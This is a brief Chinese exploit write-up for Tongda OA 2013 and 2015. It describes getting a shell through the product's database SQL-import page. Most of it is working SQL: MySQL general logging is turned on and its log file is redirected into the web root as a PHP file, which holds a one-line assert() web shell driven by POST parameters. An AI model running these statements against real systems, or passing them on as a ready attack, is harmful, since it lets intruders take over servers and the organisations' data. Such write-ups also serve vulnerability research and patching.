通达oa 数据库脚本导⼊getshell
通达oa 数据库脚本导⼊getshell¶
漏洞影响¶
2013、2015版本
复现过程¶
⾥面的database⻚面可以导入sql脚本文件,但是系统过滤了很多,有很多的限制,使⽤mysql日志的方式进行 突破。
set global general_log = on;
set global general_log_file = '../webroot/test.php';
select '<?php assert($_POST[a]) ?>';
set global general_log = off;